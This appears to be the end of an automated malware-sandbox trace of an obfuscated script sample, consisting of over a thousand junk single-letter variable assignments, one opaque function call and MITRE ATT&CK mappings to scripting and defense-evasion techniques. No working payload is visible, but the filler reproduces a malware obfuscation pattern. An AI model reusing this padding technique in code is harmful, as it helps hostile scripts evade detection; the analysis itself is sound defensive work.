427	eqnbra = "K";
428	eqnbra = "i";
429	eqnbra = "v";
430	eqnbra = "z";
431	eqnbra = "e";
432	eqnbra = "y";
433	eqnbra = "O";
434	eqnbra = "d";
435	eqnbra = "U";
436	eqnbra = "m";
437	eqnbra = "Q";
438	eqnbra = "z";
439	eqnbra = "V";
440	eqnbra = "n";
441	eqnbra = "w";
442	eqnbra = "J";
443	eqnbra = "_";
444	whbyqobyr = "L";
445	whbyqobyr = "P";
446	whbyqobyr = "G";
447	whbyqobyr = "k";
448	whbyqobyr = "p";
449	errvhqfd = "K";
450	errvhqfd = "j";
451	errvhqfd = "V";
452	errvhqfd = "Z";
453	errvhqfd = "A";
454	errvhqfd = "q";
455	errvhqfd = "k";
456	errvhqfd = "r";
457	errvhqfd = "T";
458	errvhqfd = "N";
459	errvhqfd = "a";
460	errvhqfd = "T";
461	errvhqfd = "h";
462	errvhqfd = "C";
463	errvhqfd = "f";
464	errvhqfd = "X";
465	errvhqfd = "W";
466	errvhqfd = "z";
467	errvhqfd = "f";
468	errvhqfd = "r";
469	errvhqfd = "p";
470	errvhqfd = "k";
471	errvhqfd = ":";
472	zgxme = "o";
473	zgxme = "E";
474	zgxme = "O";
475	zgxme = "r";
476	zgxme = "G";
477	zgxme = "W";
478	zgxme = "Z";
479	zgxme = "T";
480	zgxme = "A";
481	zgxme = "O";
482	zgxme = "K";
483	pkhnemg = "I";
484	pkhnemg = "o";
485	pkhnemg = "K";
486	pkhnemg = "H";
487	pkhnemg = "i";
488	pkhnemg = "v";
489	pkhnemg = "O";
490	pkhnemg = "w";
491	pkhnemg = "D";
492	pkhnemg = "x";
493	pkhnemg = "l";
494	pkhnemg = "E";
495	pkhnemg = "N";
496	pkhnemg = "b";
497	pkhnemg = "Q";
498	pkhnemg = "D";
499	pkhnemg = "r";
500	pkhnemg = "v";
501	pkhnemg = "q";
502	pkhnemg = "D";
503	pkhnemg = "F";
504	pkhnemg = "U";
505	pkhnemg = "L";
506	pkhnemg = "R";
507	pkhnemg = "w";
508	pkhnemg = "u";
509	pkhnemg = "N";
510	pkhnemg = "i";
511	pkhnemg = "A";
512	pkhnemg = "p";
513	pkhnemg = "P";
514	pkhnemg = "/";
515	ltpwnz = "w";
516	ltpwnz = "U";
517	ltpwnz = "m";
518	ltpwnz = "n";
519	ltpwnz = "G";
520	ltpwnz = "l";
521	ltpwnz = "H";
522	ltpwnz = "G";
523	ltpwnz = "y";
524	ltpwnz = "r";
525	ltpwnz = "m";
526	ltpwnz = "l";
527	ltpwnz = "l";
528	ltpwnz = "G";
529	ltpwnz = "r";
530	ltpwnz = "T";
531	aroduj = "M";
532	aroduj = "k";
533	aroduj = "m";
534	aroduj = "G";
535	aroduj = "z";
536	aroduj = "K";
537	aroduj = "H";
538	aroduj = "l";
539	aroduj = "D";
540	aroduj = "w";
541	aroduj = "J";
542	aroduj = "V";
543	aroduj = "I";
544	aroduj = "R";
545	aroduj = "W";
546	aroduj = "w";
547	aroduj = "q";
548	aroduj = "a";
549	aroduj = "g";
550	aroduj = "O";
551	aroduj = "c";
552	aroduj = "h";
553	aroduj = "s";
554	aroduj = "c";
555	aroduj = "W";
556	aroduj = "D";
557	aroduj = "s";
558	aroduj = "j";
559	aroduj = "L";
560	aroduj = "m";
561	aroduj = "X";
562	aroduj = "N";
563	aroduj = "A";
564	aroduj = "g";
565	aroduj = "O";
566	ekxgjyue = "v";
567	ekxgjyue = "v";
568	ekxgjyue = "n";
569	ekxgjyue = "W";
570	ekxgjyue = "C";
571	ekxgjyue = "d";
572	ekxgjyue = "N";
573	ekxgjyue = "N";
574	ekxgjyue = "m";
575	ekxgjyue = "v";
576	ekxgjyue = "V";
577	ekxgjyue = "u";
578	ekxgjyue = "T";
579	ekxgjyue = "o";
580	ekxgjyue = "q";
581	ekxgjyue = "P";
582	ekxgjyue = "r";
583	ekxgjyue = "F";
584	ekxgjyue = "l";
585	ekxgjyue = "l";
586	ekxgjyue = "M";
587	ekxgjyue = "u";
588	ekxgjyue = "v";
589	ekxgjyue = "V";
590	ekxgjyue = "e";
591	ekxgjyue = "Z";
592	ekxgjyue = "O";
593	ekxgjyue = "E";
594	vvcrlcsh = "N";
595	vvcrlcsh = "O";
596	vvcrlcsh = "Q";
597	vvcrlcsh = "h";
598	vvcrlcsh = "P";
599	vvcrlcsh = "w";
600	vvcrlcsh = "w";
601	vvcrlcsh = "T";
602	vvcrlcsh = "5";
603	kxxxzdyh = "Y";
604	kxxxzdyh = "f";
605	kxxxzdyh = "n";
606	kxxxzdyh = "L";
607	kxxxzdyh = "R";
608	kxxxzdyh = "z";
609	kxxxzdyh = "b";
610	kxxxzdyh = "y";
611	kxxxzdyh = "N";
612	kxxxzdyh = "Q";
613	kxxxzdyh = "N";
614	kxxxzdyh = "T";
615	kxxxzdyh = "g";
616	kxxxzdyh = "V";
617	kxxxzdyh = "W";
618	kxxxzdyh = "c";
619	kxxxzdyh = "t";
620	kxxxzdyh = "Z";
621	kxxxzdyh = "e";
622	kxxxzdyh = "f";
623	kxxxzdyh = "i";
624	kxxxzdyh = "R";
625	kxxxzdyh = "n";
626	kxxxzdyh = "D";
627	kxxxzdyh = "A";
628	kxxxzdyh = "K";
629	kxxxzdyh = "V";
630	kxxxzdyh = "E";
631	kxxxzdyh = "e";
632	kxxxzdyh = "M";
633	kxxxzdyh = "b";
634	kxxxzdyh = "d";
635	kxxxzdyh = "A";
636	kxxxzdyh = "z";
637	kxxxzdyh = "e";
638	kxxxzdyh = "j";
639	kxxxzdyh = "c";
640	kxxxzdyh = "o";
641	kxxxzdyh = "D";
642	kxxxzdyh = "B";
643	kxxxzdyh = "g";
644	kxxxzdyh = "q";
645	kxxxzdyh = "O";
646	kxxxzdyh = "a";
647	wkavgb = "D";
648	wkavgb = "T";
649	wkavgb = "t";
650	wkavgb = "c";
651	wkavgb = "i";
652	wkavgb = "W";
653	wkavgb = "i";
654	wkavgb = "G";
655	wkavgb = "i";
656	wkavgb = "a";
657	wkavgb = "a";
658	wkavgb = "a";
659	wkavgb = "j";
660	wkavgb = "b";
661	wkavgb = "L";
662	wkavgb = "J";
663	wkavgb = "p";
664	wkavgb = "B";
665	wkavgb = "O";
666	wkavgb = "K";
667	wkavgb = "x";
668	wkavgb = "H";
669	wkavgb = "o";
670	wkavgb = "X";
671	wkavgb = "q";
672	wkavgb = "W";
673	wkavgb = "y";
674	wkavgb = "s";
675	wkavgb = "f";
676	wkavgb = "k";
677	wkavgb = "m";
678	wkavgb = "c";
679	wkavgb = "d";
680	wkavgb = "b";
681	wkavgb = "x";
682	wkavgb = "a";
683	wkavgb = "B";
684	wkavgb = "B";
685	wkavgb = "N";
686	wkavgb = "v";
687	wkavgb = "e";
688	wkavgb = "s";
689	wkavgb = "n";
690	wkavgb = "u";
691	zbavkef = "G";
692	zbavkef = "U";
693	zbavkef = "J";
694	zbavkef = "E";
695	zbavkef = "W";
696	zbavkef = "b";
697	zbavkef = "Y";
698	zbavkef = "V";
699	zbavkef = "B";
700	zbavkef = "x";
701	zbavkef = "Y";
702	zbavkef = "P";
703	zbavkef = "t";
704	zbavkef = "S";
705	zbavkef = "R";
706	zbavkef = "Q";
707	zbavkef = "b";
708	zbavkef = "g";
709	zbavkef = "S";
710	zbavkef = "b";
711	zbavkef = "n";
712	zbavkef = "K";
713	zbavkef = "C";
714	zbavkef = "z";
715	zbavkef = "N";
716	zbavkef = "b";
717	zbavkef = "c";
718	zbavkef = "f";
719	zbavkef = "e";
720	zbavkef = "R";
721	zbavkef = "p";
722	zbavkef = "G";
723	zbavkef = "c";
724	zbavkef = "t";
725	zbavkef = "M";
726	zbavkef = "E";
727	zbavkef = "d";
728	zbavkef = "K";
729	zbavkef = "Y";
730	zbavkef = "U";
731	zbavkef = "X";
732	zbavkef = "j";
733	zbavkef = "f";
734	zbavkef = "N";
735	zbavkef = "W";
736	necxz = "H";
737	necxz = "s";
738	necxz = "h";
739	zfenyje = "u";
740	zfenyje = "h";
741	zfenyje = "i";
742	zfenyje = "O";
743	zfenyje = "B";
744	zfenyje = "x";
745	zfenyje = "W";
746	zfenyje = "l";
747	zfenyje = "Z";
748	zfenyje = "D";
749	zfenyje = "D";
750	zfenyje = "Q";
751	zfenyje = "r";
752	zfenyje = "Z";
753	zfenyje = "P";
754	zfenyje = "x";
755	zfenyje = "a";
756	zfenyje = "e";
757	zfenyje = "S";
758	zfenyje = "O";
759	zfenyje = "H";
760	zfenyje = "t";
761	emwvny = "K";
762	emwvny = "z";
763	emwvny = "X";
764	emwvny = "s";
765	emwvny = "8";
766	pdlgiswb = "i";
767	pdlgiswb = "b";
768	pdlgiswb = "p";
769	pdlgiswb = "x";
770	pdlgiswb = "u";
771	pdlgiswb = "I";
772	pdlgiswb = "t";
773	pdlgiswb = "k";
774	pdlgiswb = "r";
775	pdlgiswb = "s";
776	pdlgiswb = "q";
777	pdlgiswb = "n";
778	pdlgiswb = "j";
779	pdlgiswb = "F";
780	pdlgiswb = "G";
781	pdlgiswb = "Y";
782	pdlgiswb = "z";
783	pdlgiswb = "d";
784	pdlgiswb = "y";
785	pdlgiswb = "j";
786	xgqzygl = "A";
787	xgqzygl = "K";
788	xgqzygl = "m";
789	xgqzygl = "t";
790	xgqzygl = "b";
791	xgqzygl = "B";
792	xgqzygl = "V";
793	xgqzygl = "H";
794	xgqzygl = "L";
795	xgqzygl = "b";
796	xgqzygl = "d";
797	xgqzygl = "q";
798	xgqzygl = "Z";
799	xgqzygl = "m";
800	xgqzygl = "p";
801	xgqzygl = "t";
802	xgqzygl = "p";
803	xgqzygl = "q";
804	xgqzygl = "J";
805	xgqzygl = "V";
806	xgqzygl = "B";
807	xgqzygl = "k";
808	xgqzygl = " ";
809	zpqozqa = "Y";
810	zpqozqa = "C";
811	zpqozqa = "b";
812	zpqozqa = "S";
813	zpqozqa = "u";
814	zpqozqa = "I";
815	zpqozqa = "Z";
816	zpqozqa = "C";
817	zpqozqa = "l";
818	zpqozqa = "A";
819	zpqozqa = "S";
820	zpqozqa = "M";
821	zpqozqa = "b";
822	zpqozqa = "J";
823	zpqozqa = "t";
824	zpqozqa = "r";
825	zpqozqa = "F";
826	zpqozqa = "B";
827	zpqozqa = "L";
828	zpqozqa = "H";
829	zpqozqa = "H";
830	zpqozqa = "W";
831	zpqozqa = "n";
832	zpqozqa = "s";
833	zpqozqa = "M";
834	zpqozqa = "T";
835	zpqozqa = "y";
836	zpqozqa = "k";
837	zpqozqa = "v";
838	zpqozqa = "b";
839	zpqozqa = "H";
840	zpqozqa = "U";
841	zpqozqa = "I";
842	zpqozqa = "S";
843	zpqozqa = "p";
844	zpqozqa = "H";
845	zpqozqa = "r";
846	zpqozqa = "s";
847	zpqozqa = "Z";
848	zpqozqa = "y";
849	zpqozqa = "s";
850	gnndm = "m";
851	gnndm = "R";
852	gnndm = "v";
853	gnndm = "K";
854	gnndm = "i";
855	gnndm = "t";
856	gnndm = "O";
857	gnndm = "w";
858	gnndm = "m";
859	gnndm = "o";
860	gnndm = "P";
861	gnndm = "K";
862	gnndm = "E";
863	gnndm = "l";
864	gnndm = "F";
865	wtevwdl = "g";
866	wtevwdl = "e";
867	wtevwdl = "g";
868	wtevwdl = "P";
869	wtevwdl = "u";
870	wtevwdl = "T";
871	wtevwdl = "R";
872	wtevwdl = "j";
873	wtevwdl = "l";
874	wtevwdl = "J";
875	wtevwdl = "n";
876	wtevwdl = "U";
877	wtevwdl = "J";
878	wtevwdl = "K";
879	wtevwdl = "N";
880	wtevwdl = "Q";
881	wtevwdl = "N";
882	dsusiqg = "X";
883	dsusiqg = "j";
884	dsusiqg = "q";
885	dsusiqg = "I";
886	dsusiqg = "E";
887	dsusiqg = "d";
888	dsusiqg = "i";
889	dsusiqg = "c";
890	dsusiqg = "K";
891	dsusiqg = "I";
892	dsusiqg = "h";
893	dsusiqg = "x";
894	dsusiqg = "t";
895	dsusiqg = "G";
896	dsusiqg = "b";
897	dsusiqg = "K";
898	dsusiqg = "k";
899	dsusiqg = "e";
900	dsusiqg = "F";
901	dsusiqg = "d";
902	dsusiqg = "g";
903	dsusiqg = "s";
904	dsusiqg = "h";
905	dsusiqg = "E";
906	dsusiqg = "g";
907	dsusiqg = "l";
908	dsusiqg = "i";
909	dsusiqg = "y";
910	dsusiqg = "T";
911	dsusiqg = "k";
912	dsusiqg = "y";
913	dsusiqg = "F";
914	dsusiqg = "m";
915	dsusiqg = "g";
916	dsusiqg = "p";
917	dsusiqg = "w";
918	dsusiqg = "K";
919	dsusiqg = "t";
920	dsusiqg = "4";
921	wafctunm = "y";
922	wafctunm = "F";
923	wafctunm = "f";
924	wafctunm = "s";
925	wafctunm = "h";
926	wafctunm = "Q";
927	wafctunm = "p";
928	wafctunm = "L";
929	wafctunm = "e";
930	wafctunm = "Y";
931	wafctunm = "q";
932	wafctunm = "s";
933	wafctunm = "E";
934	wafctunm = "C";
935	wafctunm = "S";
936	wafctunm = "x";
937	wafctunm = "N";
938	wafctunm = "e";
939	wafctunm = "Z";
940	wafctunm = "n";
941	wafctunm = "S";
942	wafctunm = "w";
943	wafctunm = "w";
944	wafctunm = "G";
945	wafctunm = "p";
946	wafctunm = "c";
947	wafctunm = "n";
948	wafctunm = "v";
949	wafctunm = "W";
950	wafctunm = "t";
951	wafctunm = "W";
952	wafctunm = "T";
953	wafctunm = "P";
954	wafctunm = "e";
955	wafctunm = "J";
956	wafctunm = "q";
957	wafctunm = "e";
958	wafctunm = "F";
959	wafctunm = "W";
960	wafctunm = "9";
961	emuiwyc = "E";
962	emuiwyc = "b";
963	emuiwyc = "w";
964	emuiwyc = "u";
965	emuiwyc = "i";
966	emuiwyc = "u";
967	emuiwyc = "q";
968	emuiwyc = "J";
969	emuiwyc = "P";
970	emuiwyc = "A";
971	emuiwyc = "N";
972	emuiwyc = "M";
973	emuiwyc = "C";
974	emuiwyc = "w";
975	emuiwyc = "d";
976	emuiwyc = "w";
977	dwiehzgye = "Q";
978	dwiehzgye = "K";
979	dwiehzgye = "i";
980	dwiehzgye = "Z";
981	dwiehzgye = "A";
982	dwiehzgye = "X";
983	dwiehzgye = "N";
984	dwiehzgye = "R";
985	dwiehzgye = "R";
986	dwiehzgye = "C";
987	dwiehzgye = "d";
988	dwiehzgye = "J";
989	dwiehzgye = "E";
990	dwiehzgye = "t";
991	dwiehzgye = "w";
992	dwiehzgye = "Y";
993	dwiehzgye = "W";
994	dwiehzgye = "v";
995	dwiehzgye = "E";
996	dwiehzgye = "F";
997	dwiehzgye = "Q";
998	dwiehzgye = "q";
999	dwiehzgye = "l";
1000	dwiehzgye = "J";
1001	dwiehzgye = "N";
1002	dwiehzgye = "V";
1003	dwiehzgye = "W";
1004	dwiehzgye = "j";
1005	dwiehzgye = "c";
1006	dwiehzgye = "h";
1007	dwiehzgye = "c";
1008	dwiehzgye = "F";
1009	dwiehzgye = "O";
1010	dwiehzgye = "b";
1011	dwiehzgye = "A";
1012	dwiehzgye = "r";
1013	dwiehzgye = "2";
1014	inbdeo = "h";
1015	inbdeo = "i";
1016	inbdeo = "U";
1017	inbdeo = "T";
1018	inbdeo = "n";
1019	inbdeo = "m";
1020	inbdeo = "J";
1021	inbdeo = "E";
1022	inbdeo = "K";
1023	inbdeo = "h";
1024	inbdeo = "Z";
1025	inbdeo = "D";
1026	inbdeo = "B";
1027	inbdeo = "q";
1028	inbdeo = "v";
1029	inbdeo = "a";
1030	inbdeo = "r";
1031	inbdeo = "f";
1032	inbdeo = "l";
1033	inbdeo = "w";
1034	inbdeo = "F";
1035	inbdeo = "O";
1036	inbdeo = "r";
1037	inbdeo = "H";
1038	inbdeo = "a";
1039	inbdeo = "l";
1040	inbdeo = "B";
1041	inbdeo = "w";
1042	inbdeo = "d";
1043	inbdeo = "T";
1044	inbdeo = "c";
1045	inbdeo = "E";
1046	inbdeo = "q";
1047	inbdeo = "h";
1048	inbdeo = "H";
1049	xztjkfkto = "P";
1050	xztjkfkto = "K";
1051	xztjkfkto = "j";
1052	xztjkfkto = "w";
1053	xztjkfkto = "V";
1054	xztjkfkto = "b";
1055	xztjkfkto = "s";
1056	xztjkfkto = "y";
1057	xztjkfkto = "i";
1058	xztjkfkto = "a";
1059	xztjkfkto = "r";
1060	xztjkfkto = "f";
1061	xztjkfkto = "u";
1062	xztjkfkto = "v";
1063	xztjkfkto = "M";
1064	xztjkfkto = "q";
1065	xztjkfkto = "q";
1066	xztjkfkto = "d";
1067	xztjkfkto = "t";
1068	xztjkfkto = "u";
1069	xztjkfkto = "k";
1070	xztjkfkto = "H";
1071	xztjkfkto = "b";
1072	xztjkfkto = "U";
1073	xztjkfkto = "v";
1074	xztjkfkto = "q";
1075	wmbkqh = "J";
1076	wmbkqh = "x";
1077	wmbkqh = "a";
1078	wmbkqh = "e";
1079	wmbkqh = "p";
1080	wmbkqh = "N";
1081	wmbkqh = "A";
1082	wmbkqh = "m";
1083	wmbkqh = "K";
1084	wmbkqh = "E";
1085	wmbkqh = "H";
1086	wmbkqh = "N";
1087	wmbkqh = "u";
1088	wmbkqh = "F";
1089	wmbkqh = "z";
1090	wmbkqh = "v";
1091	gagdn = "S";
1092	gagdn = "O";
1093	gagdn = "Q";
1094	gagdn = "x";
1095	gagdn = "H";
1096	gagdn = "p";
1097	gagdn = "x";
1098	gagdn = "S";
1099	gagdn = "L";
1100	gagdn = "d";
1101	gagdn = "f";
1102	gagdn = "z";
1103	gagdn = "x";
1104	gagdn = "c";
1105	gagdn = "c";
1106	gagdn = "f";
1107	gagdn = "A";
1108	gagdn = "f";
1109	gagdn = "v";
1110	gagdn = "r";
1111	gagdn = "w";
1112	gagdn = "c";
1113	gagdn = "n";
1114	gagdn = "s";
1115	gagdn = "p";
1116	gagdn = "v";
1117	gagdn = "t";
1118	gagdn = "s";
1119	gagdn = "T";
1120	gagdn = "C";
1121	gagdn = "H";
1122	gagdn = "i";
1123	gagdn = "b";
1124	gagdn = "R";
1125	gagdn = "B";
1126	gagdn = "d";
1127	gagdn = "W";
1128	gagdn = "T";
1129	gagdn = "r";
1130	gagdn = "K";
1131	gagdn = "\"";
1132	iqqlffvlv = "h";
1133	iqqlffvlv = "E";
1134	iqqlffvlv = "N";
1135	iqqlffvlv = "Q";
1136	iqqlffvlv = "H";
1137	iqqlffvlv = "H";
1138	iqqlffvlv = "F";
1139	iqqlffvlv = "Z";
1140	iqqlffvlv = "x";
1141	bvaxszpbh = "c";
1142	juytngu = "l";
1143	juytngu = "q";
1144	juytngu = "z";
1145	juytngu = "D";
1146	juytngu = "n";
1147	gkmkjcaox = "D";
1148	gkmkjcaox = "X";
1149	gkmkjcaox = "e";
1150	gkmkjcaox = "l";
1151	gkmkjcaox = "B";
1152	gkmkjcaox = "R";
1153	gkmkjcaox = "M";
1154	gkmkjcaox = "m";
1155	gkmkjcaox = "e";
1156	gkmkjcaox = "O";
1157	gkmkjcaox = "n";
1158	gkmkjcaox = "k";
1159	gkmkjcaox = "y";
1160	gkmkjcaox = "z";
1161	gkmkjcaox = "D";
1162	gkmkjcaox = "s";
1163	gkmkjcaox = "F";
1164	gkmkjcaox = "C";
1165	gkmkjcaox = "K";
1166	gkmkjcaox = "v";
1167	gkmkjcaox = "f";
1168	gkmkjcaox = "C";
1169	gkmkjcaox = "O";
1170	gkmkjcaox = "A";
1171	gkmkjcaox = "r";
1172	gkmkjcaox = "k";
1173	gkmkjcaox = "O";
1174	gkmkjcaox = "X";
1175	gkmkjcaox = "O";
1176	gkmkjcaox = "O";
1177	gkmkjcaox = "P";
1178	gkmkjcaox = "p";
1179	gkmkjcaox = "l";
1180	gkmkjcaox = "J";
1181	gkmkjcaox = "S";
1182	gkmkjcaox = "P";
1183	gbpuag = "E";
1184	gbpuag = "K";
1185	gbpuag = "a";
1186	gbpuag = "M";
1187	gbpuag = "C";
1188	gbpuag = "p";
1189	gbpuag = "a";
1190	gbpuag = "V";
1191	gbpuag = "F";
1192	gbpuag = "z";
1193	gbpuag = "N";
1194	gbpuag = "l";
1195	gbpuag = "G";
1196	gbpuag = "m";
1197	gbpuag = "O";
1198	gbpuag = "Y";
1199	gbpuag = "f";
1200	gbpuag = "x";
1201	gbpuag = "k";
1202	gbpuag = "K";
1203	gbpuag = "C";
1204	gbpuag = "J";
1205	gbpuag = "h";
1206	gbpuag = "E";
1207	gbpuag = "i";
1208	gbpuag = "f";
1209	gbpuag = "V";
1210	gbpuag = "b";
1211	gbpuag = "e";
1212	gbpuag = "j";
1213	gbpuag = "I";
1214	gbpuag = "S";
1215	biivnx = "c";
1216	biivnx = "Y";
1217	biivnx = "h";
1218	biivnx = "h";
1219	biivnx = "i";
1220	biivnx = "p";
1221	biivnx = "f";
1222	biivnx = "B";
1223	biivnx = "j";
1224	biivnx = "G";
1225	biivnx = "l";
1226	qhujslh = "E";
1227	qhujslh = "Z";
1228	qhujslh = "X";
1229	qhujslh = "r";
1230	qhujslh = "W";
1231	qhujslh = "B";
1232	qhujslh = "l";
1233	qhujslh = "h";
1234	qhujslh = "a";
1235	qhujslh = "U";
1236	qhujslh = "W";
1237	qhujslh = "j";
1238	qhujslh = "U";
1239	qhujslh = "P";
1240	qhujslh = "H";
1241	qhujslh = "o";
1242	qhujslh = "Y";
1243	qhujslh = "s";
1244	qhujslh = "Q";
1245	qhujslh = "i";
1246	zneghbx = "K";
1247	zneghbx = "T";
1248	zneghbx = "n";
1249	zneghbx = "l";
1250	zneghbx = "d";
1251	zneghbx = "z";
1252	zneghbx = "D";
1253	zneghbx = "M";
1254	zneghbx = "V";
1255	zneghbx = "p";
1256	zneghbx = "o";
1257	zneghbx = "b";
1258	zneghbx = "j";
1259	zneghbx = "h";
1260	zneghbx = "p";
1261	zneghbx = "t";
1262	zneghbx = "r";
1263	zneghbx = "r";
1264	zneghbx = "X";
1265	zneghbx = "Z";
1266	zneghbx = "f";
1267	zneghbx = "F";
1268	zneghbx = "X";
1269	zneghbx = "S";
1270	zneghbx = "R";
1271	zneghbx = "O";
1272	zneghbx = "Z";
1273	zneghbx = "b";
1274	zneghbx = "W";
1275	zneghbx = "s";
1276	zneghbx = "Q";
1277	jnafjri = "N";
1278	jnafjri = "s";
1279	jnafjri = "A";
1280	jnafjri = "M";
1281	jnafjri = "A";
1282	jnafjri = "k";
1283	jnafjri = "A";
1284	jnafjri = "I";
1285	jnafjri = "J";
1286	jnafjri = "t";
1287	jnafjri = "F";
1288	jnafjri = "H";
1289	jnafjri = "K";
1290	jnafjri = "a";
1291	jnafjri = "B";
1292	jnafjri = "y";
1293	jnafjri = "s";
1294	jnafjri = "V";
1295	jnafjri = "7";
1296	fgazrfx = "N";
1297	fgazrfx = "F";
1298	fgazrfx = "g";
1299	fgazrfx = "w";
1300	fgazrfx = "L";
1301	fgazrfx = "W";
1302	fgazrfx = "l";
1303	fgazrfx = "O";
1304	fgazrfx = "j";
1305	fgazrfx = "T";
1306	fgazrfx = "i";
1307	fgazrfx = "q";
1308	fgazrfx = "N";
1309	fgazrfx = "f";
1310	fgazrfx = "I";
1311	fgazrfx = "Y";
1312	fgazrfx = "b";
1313	fgazrfx = "M";
1314	fgazrfx = "c";
1315	fgazrfx = "q";
1316	fgazrfx = "a";
1317	fgazrfx = "c";
1318	fgazrfx = "b";
1319	fgazrfx = "Y";
1320	ksdxepmjx = "x";
1321	ksdxepmjx = "m";
1322	ksdxepmjx = "D";
1323	ksdxepmjx = "P";
1324	ksdxepmjx = "g";
1325	ksdxepmjx = "K";
1326	ksdxepmjx = "z";
1327	ksdxepmjx = "R";
1328	ksdxepmjx = "J";
1329	ksdxepmjx = "v";
1330	ksdxepmjx = "O";
1331	ksdxepmjx = "e";
1332	ksdxepmjx = "s";
1333	ksdxepmjx = "t";
1334	ksdxepmjx = "G";
1335	ksdxepmjx = "d";
1336	ksdxepmjx = "U";
1337	deuquip = "t";
1338	deuquip = "Z";
1339	deuquip = "s";
1340	deuquip = "y";
1341	deuquip = "B";
1342	deuquip = "V";
1343	deuquip = "A";
1344	deuquip = "l";
1345	deuquip = "M";
1346	deuquip = "f";
1347	deuquip = "A";
1348	deuquip = "D";
1349	deuquip = "d";
1350	deuquip = "k";
1351	deuquip = "O";
1352	deuquip = "H";
1353	deuquip = "s";
1354	deuquip = "e";
1355	nksukpb = "V";
1356	nksukpb = "t";
1357	nksukpb = "i";
1358	nksukpb = "U";
1359	nksukpb = "y";
1360	nksukpb = "u";
1361	nksukpb = "f";
1362	nksukpb = "L";
1363	nksukpb = "Q";
1364	nksukpb = "R";
1365	nksukpb = "z";
1366	nksukpb = "R";
1367	nksukpb = "p";
1368	nksukpb = "l";
1369	nksukpb = "e";
1370	nksukpb = "y";
1371	nksukpb = "B";
1372	nksukpb = "J";
1373	nksukpb = "j";
1374	nksukpb = "u";
1375	nksukpb = "x";
1376	nksukpb = "W";
1377	nksukpb = "I";
1378	nksukpb = "q";
1379	nksukpb = "i";
1380	nksukpb = "P";
1381	nksukpb = "U";
1382	nksukpb = "G";
1383	nksukpb = "b";
1384	itqhojils = "i";
1385	itqhojils = "Q";
1386	itqhojils = "b";
1387	itqhojils = "A";
1388	itqhojils = "K";
1389	itqhojils = "s";
1390	itqhojils = "d";
1391	itqhojils = "Z";
1392	itqhojils = "c";
1393	itqhojils = "k";
1394	vwcozvag = "J";
1395	vwcozvag = "z";
1396	vwcozvag = "i";
1397	vwcozvag = "l";
1398	vwcozvag = "V";
1399	vwcozvag = "K";
1400	vwcozvag = "o";
1401	vwcozvag = "g";
1402	vwcozvag = "B";
1403	vwcozvag = "B";
1404	vwcozvag = "N";
1405	vwcozvag = "S";
1406	vwcozvag = "q";
1407	vwcozvag = "A";
1408	vwcozvag = "o";
1409	vwcozvag = "K";
1410	vwcozvag = "b";
1411	vwcozvag = "O";
1412	vwcozvag = "y";
1413	vwcozvag = "m";
1414	vwcozvag = "x";
1415	vwcozvag = "y";
1416	vwcozvag = "t";
1417	vwcozvag = "Q";
1418	vwcozvag = "M";
1419	vwcozvag = "O";
1420	vwcozvag = "g";
1421	rdqesazk = "r";
1422	rdqesazk = "G";
1423	rdqesazk = "I";
1424	rdqesazk = "l";
1425	rdqesazk = "V";
1426	rdqesazk = "X";
1427	rdqesazk = "g";
1428	rdqesazk = "V";
1429	rdqesazk = "h";
1430	rdqesazk = "H";
1431	rdqesazk = "V";
1432	rdqesazk = "Q";
1433	rdqesazk = "H";
1434	rdqesazk = "F";
1435	rdqesazk = "T";
1436	rdqesazk = "r";
1437	rdqesazk = "c";
1438	rdqesazk = "a";
1439	rdqesazk = "H";
1440	rdqesazk = "c";
1441	rdqesazk = "s";
1442	rdqesazk = "v";
1443	rdqesazk = "r";
1444	rdqesazk = "V";
1445	rdqesazk = "H";
1446	rdqesazk = "p";
1447	rdqesazk = "m";
1448	rdqesazk = "s";
1449	rdqesazk = "s";
1450	rdqesazk = "o";
1451	rdqesazk = "o";
1452	rdqesazk = "S";
1453	rdqesazk = "J";
1454	rdqesazk = "I";
1455	rdqesazk = "x";
1456	rdqesazk = "-";
1457	yybuk = "W";
1458	yybuk = "h";
1459	yybuk = "H";
1460	yybuk = "V";
1461	yybuk = "A";
1462	yybuk = "u";
1463	yybuk = "l";
1464	yybuk = "K";
1465	yybuk = "A";
1466	yybuk = "c";
1467	yybuk = "e";
1468	yybuk = "o";
1469	yybuk = "R";
1470	yybuk = "c";
1471	yybuk = "W";
1472	yybuk = "A";
1473	yybuk = "F";
1474	yybuk = "z";
1475	yybuk = "C";
1476	yybuk = "k";
1477	yybuk = "k";
1478	yybuk = "m";
1479	bkhgnfd = "W";
1480	bkhgnfd = "P";
1481	bkhgnfd = "z";
1482	bkhgnfd = "s";
1483	bkhgnfd = "w";
1484	bkhgnfd = "T";
1485	bkhgnfd = "f";
1486	gpxsrh = "f";
1487	gpxsrh = "e";
1488	gpxsrh = "X";
1489	gpxsrh = "B";
1490	gpxsrh = "u";
1491	gpxsrh = "m";
1492	gpxsrh = "D";
1493	gpxsrh = "M";
1494	gpxsrh = "M";
1495	gpxsrh = "h";
1496	gpxsrh = "r";
1497	gpxsrh = "L";
1498	gpxsrh = "q";
1499	gpxsrh = "p";
1500	gpxsrh = "Q";
1501	gpxsrh = "L";
1502	gpxsrh = "N";
1503	gpxsrh = "A";
1504	gpxsrh = "L";
1505	gpxsrh = "t";
1506	gpxsrh = "w";
1507	gpxsrh = "B";
1508	gpxsrh = "Z";
1509	gpxsrh = "f";
1510	gpxsrh = "g";
1511	gpxsrh = "D";
1512	gpxsrh = "a";
1513	gpxsrh = "q";
1514	gpxsrh = "L";
1515	gpxsrh = "u";
1516	gpxsrh = "Q";
1517	gpxsrh = "J";
1518	gpxsrh = "C";
1519	gpxsrh = "O";
1520	gpxsrh = "I";
1521	gpxsrh = "b";
1522	gpxsrh = "f";
1523	gpxsrh = "E";
1524	gpxsrh = "d";
1525	wkmnshj ( );	wkmnshj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

